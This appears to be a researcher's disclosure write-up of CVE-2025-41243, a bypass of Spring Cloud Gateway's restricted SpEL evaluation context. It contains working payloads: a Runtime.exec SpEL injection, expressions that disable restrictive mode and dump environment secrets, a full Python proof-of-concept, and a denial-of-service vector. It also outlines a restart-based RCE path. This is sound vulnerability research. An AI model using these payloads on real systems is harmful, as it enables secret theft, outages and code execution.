[CVE-2025-41243] Spring Cloud Gateway: complicating evaluation context

Some time ago, my nuclei scanner stumbled across an interesting host in scope of some bugbounty program with an enabled spring cloud gateway actuator routes. According to the documentation,

This project provides a library for building an API Gateway on top of Spring WebFlux. Spring Cloud Gateway aims to provide a simple, yet effective way to route to APIs and provide cross cutting concerns to them such as: security, monitoring/metrics, and resiliency.

Among other things, this project supports dynamic routing configuration via the exposed actuator endpoint. Obviously, exposing such an endpoint could lead to an SSRF vulnerability, as was previously noted in this blog post by Wyatt Dahlenburg. Unfortunately (or fortunately, depending on your viewpoint), the main routing endpoint was not publicly exposed (i.e., only the actuator endpoint was exposed; that may seem weird, but enterprise infrastructure tends to be very complex), so in my case SSRF was not possible. There is also another piece of research by the same author about the critical CVE-2022-22947, which allows RCE via certain Spring Cloud Gateway features.

It turns out that the Gateway supports configuring routes with custom classes (this may be needed if, for example, you need to use a custom rate limiter, as explained here). This is implemented via SpEL, a simple expression language used for configuring applications written with Spring.

ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
Expression exp = parser.parseExpression("'Hello World'");
String message = (String) exp.getValue(context);

This is a common example of using this language - first you parse the expression, then you evaluate it. However, the number of available SpEL features depends on the evaluation context you use, and in the case of StandardEvaluationContext you can use pretty much everything. As StandardEvaluationContext allows obtaining instances of any type, evaluating arbitrary SpEL expressions on the server is equivalent to getting RCE. This was the problem that lead to the original CVE-2022-22947: with an open Gateway actuator endpoint, we can force the server to evaluate any SpEL expression by adding a filter with SpEL, then updating the routes with a request to a special endpoint.

{
    // ...
    "filters": [
        {
            "name": "RewritePath",
            "args": {
                "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
                "_genkey_1": "/${path}"
            }
        }
    ]
    // ...
}

In the blog post we can also notice some interesting details on the fix for this vulnerability. Before the fix, GatewayEvaluationContext was based on StandardEvaluationContext; after the fix, it is based on the restricted SimpleEvaluationContext. This means that we can no longer use #{T(...)} and some other features.

After the initial fix, the blog post author noted that using custom beans and calling methods with a single argument to achieve an information leak was still possible: #{@gatewayProperties.toString}, where @gatewayProperties is the name of any registered bean.

Basically, a Java bean is just a special type of class, but to understand this post, you just have to know that bean instances are registered during Spring application startup and can later be instantiated by another special class - BeanFactory. For example, this may be used for dependency injection.

Author’s bypass led to the introduction of a new configuration property: spring.cloud.gateway.restrictive-property-accessor.enabled. This is how it is used (source):

boolean restrictive = env.getProperty(
		"spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled", Boolean.class, true);
if (restrictive) {
	delegate = SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor())
		.withMethodResolvers((context, targetObject, name, argumentTypes) -> null)
		.build();
}
else {
	delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
}

Note that the property is checked dynamically for every route update. So, by default, we get an evaluation context that does not support resolving any properties. RestrictivePropertyAccessor always returns false for the read-permission check:

class RestrictivePropertyAccessor extends ReflectivePropertyAccessor {

	@Override
	public boolean canRead(EvaluationContext context, Object target, String name) {
		return false;
	}

}

If the restrictive property is disabled, we get a read-only context, which allows reading properties (and calling zero-argument methods), but does not allow modification.

I decided to check whether those contexts indeed did not allow anything malicious.

# Fix Bypass

Turns out, they did. Even restricted evaluation context still allows some things, including:

  • accessing beans
  • creating and modifying variables, maps, arrays, etc.

There is also a subtle bug: RestrictivePropertyAccessor restricts reading properties but does not restrict writing them.

So, I decided to check all available beans. Patching Java libraries to add debug output can be tedious, but led to a surprising discovery: the list of registered beans was not limited to those registered by Spring Cloud Gateway itself but also included beans registered by the Spring Framework core. Among them, I found a bean @systemProperties, which is a map of all configuration parameters. As our context allows map modification, we can just change the configuration and turn off the restrictive mode!

Other interesting beans include @environment - it can allow us to read application secrets. For example, leaking a specific source (the classpath property source) can be performed with the following sequence of actions:

  • Add a route with #{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}
  • Update configuration
  • Add a route with
    #{@environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey, #this.getValue.toString}]}
    
  • Update configuration
  • Read routes

Complete exploit:

POC
import requests


s = requests.Session()
URL = "http://localhost:9000/"

ROUTE_NAME = "test_a"


def add_route(predicate: str):
    res = s.post(
        f"{URL}actuator/gateway/routes/{ROUTE_NAME}",
        json={
            "predicates": [{"name": "Path", "args": {"_genkey_0": "/actuators/test"}}],
            "filters": [
                {
                    "name": "RewritePath",
                    "args": {
                        "_genkey_0": "/test",
                        "_genkey_1": predicate,
                    },
                }
            ],
            "uri": "http://example.com",
            "order": -1,
        },
    )
    res.raise_for_status()
    s.post(
        f"{URL}actuator/gateway/refresh",
    )
    res.raise_for_status()


def read_route():
    res = s.get(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
    try:
        return res.json()["filters"]
    except Exception as e:
        print(f"UNEXPECTED: {e!r}, {res.status_code} {res.text}")
        raise


def delete_route():
    res = s.delete(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
    res.raise_for_status()
    s.post(
        f"{URL}actuator/gateway/refresh",
    )
    res.raise_for_status()


add_route(" #{ @systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}")


print(read_route())


add_route(" #{ @environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey, #this.getValue.toString}] }")

print(read_route())

There are also other vectors. For example, adding a route such as
'#{ @configDataContextRefresher.refresh }' leads to DoS. Exploiting other beans is also possible.

# RCE

It is known that modifying properties of a Spring application can lead to RCE. For example, here is a collection of some methods of exploitation. That means that if we can find a way of restarting the application, we can gain full RCE! So, if the /actuator/restart endpoint is exposed, we can just make a request to this endpoint and achieve our goal, as described in this research. There might be other, more general ways to do this, but I have not found them yet.

# Disclosure

  • Vulnerability reported on 2025-06-25
  • The CVE was released on 2025-09-08